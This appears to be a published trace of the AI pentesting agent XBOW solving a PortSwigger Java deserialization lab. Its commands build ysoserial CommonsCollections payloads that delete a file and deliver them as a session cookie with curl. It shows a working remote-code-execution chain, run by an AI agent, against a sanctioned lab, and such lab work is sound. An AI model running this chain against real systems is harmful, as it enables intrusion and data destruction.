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XBOW Trace: Subverting Java Deserialization With Apache Commons

Despite facing a litany of technical challenges brought on by Java version incompatibilities, XBOW solves a "Practitioner"-level PortSwigger lab by subverting Java's mechanism for reconstructing an object from a sequence of bytes to execute arbitrary code when the unsuspecting application deserializes untrusted data.

Trace Details

Based on our current knowledge and the challenge description, we have successfully logged in and identified that the application uses serialized Java objects for session management. The next significant step would be to generate a malicious serialized object that can execute remote code to delete the 'morale.txt' file from Carlos's home directory. To do this, we need to use a third-party tool to create the payload, as mentioned in the challenge description.

$ cat trace/subverting-java-deserialization-with-apache-commons/20.bash

$ wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial.jar

Given that we've encountered difficulties in both downloading a pre-built ysoserial JAR and building it from source due to Java version incompatibilities, we should consider an alternative approach. Instead of trying to build ysoserial ourselves, we can look for a pre-compiled version that's compatible with our current Java environment. Let's search for and download a pre-built ysoserial JAR file from a reliable source.

$ cat trace/subverting-java-deserialization-with-apache-commons/45.bash

$ wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar && \
java -jar ysoserial-all.jar

Now that we have successfully installed Java 8, which is compatible with ysoserial, we should attempt to generate the malicious serialized object again. We'll use the ysoserial-all.jar file we previously downloaded to create a payload that will delete the 'morale.txt' file from Carlos's home directory.

$ cat trace/subverting-java-deserialization-with-apache-commons/66.bash

$ java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0

Our attempts with various CommonsCollections payloads have been partially successful, with the CommonsCollections2 payload getting furthest in the deserialization process. However, we're still encountering errors during execution. Given that we've tried multiple payloads and the server seems to have some security measures in place, we should consider a different approach. Let's try using the CommonsCollections6 payload, which uses a different exploitation chain and might bypass the security measures we've encountered so far.

$ cat trace/subverting-java-deserialization-with-apache-commons/87.bash

$ PAYLOAD=$(java -jar ysoserial-all.jar CommonsCollections6 'rm /home/carlos/morale.txt' | base64 -w 0 | sed 's/+/%2B/g' | sed 's/\//%2F/g' | sed 's/=/%3D/g')
curl -i -s -k -X GET \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" \
-H "Cookie: session=$PAYLOAD" \
-H "Content-Type: application/x-java-serialized-object" \
https://ac32148200cb020f07b9d1ef004d0045.local.academy.dev.portswigger.com/

Based on our progress so far, we have successfully exploited the Java deserialization vulnerability and executed the command to delete the 'morale.txt' file from Carlos's home directory. This was the primary objective of the CTF challenge. The next logical step is to verify if we have indeed solved the lab and retrieve the flag as mentioned in the initial challenge description.

$ cat trace/subverting-java-deserialization-with-apache-commons/93.bash

$ /opt/resources/retrieve_flag.sh

Subverting Java Deserialization With Apache Commons

Despite facing a litany of technical challenges brought on by Java version incompatibilities, XBOW solves a "Practitioner"-level PortSwigger lab by subverting Java's mechanism for reconstructing an object from a sequence of bytes to execute arbitrary code when the unsuspecting application deserializes untrusted data.